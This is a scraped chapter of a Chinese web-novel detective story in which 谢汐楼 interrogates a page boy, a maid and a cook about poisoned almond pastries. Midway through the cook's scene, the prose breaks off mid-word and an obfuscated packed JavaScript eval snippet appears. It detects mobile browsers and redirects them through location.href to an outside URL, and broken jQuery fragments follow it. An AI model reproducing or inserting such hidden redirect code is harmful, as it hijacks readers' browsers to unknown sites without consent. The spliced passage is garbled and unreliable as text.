77. 少年志10

作品:《华京迷案录(探案)

    夜里起了风,清晨时,谢夫人精心维护的花园一片狼藉,花枝落了一地,碾碎在尘土中,一片泥泞,不见往日繁盛。


    自昨日开始,谢宅中出现不少官府的人,在宅中走来走去,不避讳女眷,手时时刻刻扶在腰间配刀上,看谁都是一副看杀人犯的表情。


    谢夫人昨日回府后便称病卧床不起,房门紧锁,只留一个贴身婢女玉莲侍候,不再过问院中事,任由官府在府中折腾,寻找可能在杏仁酥中下毒的人。


    能单独接触到杏仁酥的三人很快被找出,分别关押在不同的房间。谢汐楼和陆回赶到院中时,堂木将这三人的身份依次介绍,分别是制作杏仁酥的厨娘丁婶,送杏仁酥到谢夫人房间的婢女黄莲,以及将食盒送往大狱的小厮。


    陆回另有安排,留纸镇协助谢汐楼,行保护之责。谢汐楼带着纸镇到关押三人的院子里,没有任何犹豫,率先进入关押小厮的屋子。


    小厮是个十几岁的少年,缩在墙角瑟瑟发抖,看到突然出现的谢汐楼和纸镇,双眸中有一闪而过的惊恐,随后跪在地上拼命磕头:“二娘,真的不是小的,小的真的没下毒……小的哪里敢杀三郎啊,小的连鸡都不敢杀……”


    谢汐楼上前将小厮扶起,瞧着没使什么力,小厮却如何都无法挣脱。


    她柔和了音色:“莫慌,你且将那日发生的一切,细细说与我听。”


    她的话带着神奇的力量,安抚了小厮忐忑的心。他的记忆缓缓晃回那个傍晚,随着记忆将所见所闻说与面前之人。


    “那日小的正在后院干活,管事的突然找到小的,说是夫人院中需要人帮忙,让小的去一趟。小的到后,一位姐姐将食盒和荷包交给小的,食盒要送到大牢中给三少爷,荷包则是打点狱卒的。小的带着食盒去了后,按照她说的,顺利见到了三郎。三郎憔悴了不少,但精神头极好,将小的骂了一顿,抱怨为何才来送饭,什么时候才能将他接出去云云。”他瞥了一眼谢汐楼,声音轻了不少,“他还骂了二娘,说二娘是杀人凶手,二娘根本就不是二娘,应该将您抓起来才是……小的没反驳,任他骂完消了气后,将食盒递给他,便匆匆离开,之后便回到了后院。”


    谢汐楼并不在意谢三郎骂她,而是继续问道:“可还记得,你去夫人的院中时,屋里都有谁?”


    小厮细细想了片刻,道:“有夫人,还有其他两个姐姐,应该是碗莲和玉莲,小的有些分不清。其中一位将食盒递过来时,夫人和另外一个人就在旁边看着。去牢中送吃食这事不宜声张,这俩人定是极得夫人信任的。”


    谢汐楼指指关押其他人房间的方向:“那厨娘和那个叫黄莲的,你可认识?”


    小厮点头:“当然认识。黄莲姑娘时常在院子里行走,每次到了用膳的时间,都是她替夫人去膳房领餐食,是个极伶俐,善言辞的小娘子。那厨娘叫丁婶,是最近这几年才来府中的,平日里在厨房里打打杂,不太爱说话,很擅长做一些糕点,时常做些小点心分给大家。夫人最为喜欢她的杏仁酥,这才将她留在谢宅干活。”


    “夫人喜欢杏仁酥?”


    “是啊,夫人最爱这道点心,隔三差五就让厨房做给她吃。”


    “谢三郎呢?他可喜欢这道点心?”


    小厮挠挠头:“三郎喜食荤腥,点心倒是用得少些。具体的小的就不清楚了,二娘还是去问三郎身边的人吧。”


    谢汐楼思索片刻,问了最后一个问题:“你觉得凶手想杀的是谢三郎,还是想杀谢夫人,误杀了谢三郎?”


    “小的认为,应该是谢三郎吧。”小厮回答得小心翼翼,“夫人虽脾气急躁,但对身边人还是很好的,时常会赏些东西。反观三郎,若三郎的院中有什么活儿,我们这些做下人的恨不能躲得越远越好,不然捞不着好处不说,还要挨一顿教训。”


    谢汐楼第二个见的,是那名叫黄莲的婢女。


    谢夫人院内有六个侍候的婢女,黄莲是其中之一,每日负责谢夫人的膳食,往来于大厨房与谢夫人的院子之间。


    如刚刚一般,谢汐楼让黄莲将那日的所见所闻细细讲一遍,黄莲从那日中午讲起。


    “自三郎被带入大狱,夫人便茶饭不思。那日奴婢去取午膳,与厨房的人聊了几句。厨房的管事说夫人喜爱吃点心,傍晚时让厨房中的人多做几样,兴许夫人见着喜欢吃的胃口好,能多用些。晚膳时,奴婢去厨房时果然见到十多样小点心,便每一样取了些,送到夫人房间中。”


    谢汐楼再次确认:“十多样点心?”


    黄莲点头:“是,有夫人喜欢的杏仁酥玉露团,也有巨胜奴透花糍。”


    “那为何偏偏挑了杏仁酥给三郎?”


    “这原因奴婢恰巧知道。约莫半个月前,三郎来陪夫人用膳,席间便有这道杏仁酥。三郎不喜甜食,但那日不知为何,用了一块后夸赞不已。奴婢觉得,夫人约莫是想起了这件事,才将那碟杏仁酥给三郎带去。”


    “此事可有其他人知晓?”


    黄莲思索片刻:“那日房中除了夫人房中的人,只有三郎和三郎的小厮,此刻还在牢中。”


    “你觉得凶手想毒害的是谢夫人还是谢三郎?”


    黄莲拧眉:“奴婢也不知道。夫人和三少爷都是急躁性子,但并不是坏人。奴婢实在想不通,为什么有人会要杀他们。”


    谢汐楼将黄莲的话用心记下,又道:“对了,九月初三初四,就是三郎被抓前两三天,院中是否发生了奇怪的事?”


    “九月初三初四……”黄莲轻声念叨着,“可是夫人与人会面的那天?”


    谢汐楼挑眉:“正是。你可知夫人与谁会面?”


    黄莲摇头:“说来也巧,那日夫人将我们几个驱离院子,奴婢便在宅子里闲逛,恰好碰到了玉莲带着一人向夫人的院子走。那人身形瘦小,虽披着斗篷,但从走路姿势看,像是位小娘子。”她顿了顿,接着道,“不过奴婢也就看了一眼,没多想,那日后来也没发生什么奇怪的事,倒是第二日中午,奴婢正准备为夫人布菜,遇到夫人大发雷霆,将玉莲姐斥责了一顿,摔碎了不知多少杯盏。”


    “她们可有说什么?”


    “奴婢记得夫人说了一句,‘昨日刚拿到,今日便丢了’‘除了你,还有谁知道此事’云云。她们见奴婢来后便禁了声,玉莲姐将食盒拿走后,催促奴婢尽快离开,其余的奴婢便什么都不知道了。”


    在离开房间前,谢汐楼问了最后一个问题:“毒是你下的吗?”


    黄莲一愣,旋即疯狂摇头:“不是我!奴婢与夫人无冤无仇,更与三少爷无冤无仇,为何要下毒害他们呢?”


    谢汐楼最后一个询问的人,是做杏仁酥的厨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052197|159869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘,谢宅中人都称呼她为丁婶。


    屋子的角落,丁婶抱膝而坐,眼神晦暗无光。她听到开门的声响并不抬头,眼睛痴痴盯着地面,不知在想什么。


    谢汐楼走到她身边的凳子上坐下,细细打量着面前的人,半晌开口道:“你是何时来到谢宅的?”


    丁婶抬起头,看着面前的人,突然道:“你是二娘?”


    谢汐楼没回答,盯着她,心中蓦然生出一个想法,面前这人知晓她不是谢汐楼。


    她认识以前的谢汐楼。


    丁婶没等到回答,重新垂下眼睫:“我是一年半以前来到谢宅帮工。此前我四处打些零工,勉强糊口。”


    谢汐楼收敛起无关紧要的心思,只专注于眼下的悬案:“你为何要下在杏仁酥中下毒?你想毒的是谁?谢夫人?还是谢三郎?”


    丁婶再次抬头,脸上的笑容浮于表面,不达眼底:“我只是个在厨房打杂的,几乎没见过谢夫人和三少爷。我与她们无冤无仇,为何要杀他们呢?自我来到谢宅后,便在未离开过这个宅子。那碟杏仁酥虽是我做的,所有材料都是在厨房中拿的,就算我要下毒,那毒药又从何而来?”


    谢汐楼定定看着她:“你觉得凶手是想杀谢夫人,还是谢三郎?”


    丁婶思索片刻,摇摇头:“我与二位主子都不熟悉,不知他们曾与和人结怨。你还是问问其他两个人吧。”


    三个人全部问完后,谢汐楼站在檐廊下,看着院子里的花匠来来回回,步履匆匆,打理耷拉着脑袋的花枝,默默发呆。


    他们三个似乎都没有明显的杀人动机,后院的小厮和膳房的丁婶甚至与谢夫人和谢三郎没有太多的交集。


    连交集都没有,又何谈杀人呢?


    还有毒药的来源,也需要尽快查清……


    纸镇跟在她的身后,看着她发呆,着实不知眼前一片狼藉的院落有什么好看的:“谢姑娘,你觉得毒是谁下的?”


    谢汐楼回过神来,微微摇头:“不好说,就算我有怀疑的人,也不知这人的杀机是什么,更不知道这毒药从何而来。”


    纸镇不解:“这有何难?你只要说出怀疑的人,我立刻去将这人抓起来,这案子不就结了?至于剩下的来龙去脉,交给我,我定将看家本领拿出来,让她一个时辰内招供!”


    纸镇活动着手脚,跃跃欲试。


    “……”谢汐楼眯起眼睛,看向他,“纸镇,不要这么粗暴,学学你们殿下,以德服人。”


    “我们殿下才不搞这些虚头巴脑的,他从来都是‘五板子不行就十板子,总有他熬不住的时候’。”


    纸镇模仿得微妙微翘,谢汐楼忍不住笑起来,边笑边道:“你可知你们殿下以前也是个很讲道理的人。”


    “说得好像你以前认识我们殿下似的。”


    谢汐楼心口一窒,笑容带上了几分僵硬:“虽然我不认识以前的殿下,但我同明德皇后认识呀,她与我提起过殿下。”


    纸镇将信将疑:“她说什么?”


    谢汐楼没说话,恍惚间记忆飘回少年时。


    那时,贵女们聚在一起,偶尔会讨论华京世家公子,陆回因为相貌出众,温文尔雅,一向是被提及最多次的人物。


    不知她们如今看到陆回变成这般模样,是否会觉得当年的自己太过年轻,识人不明。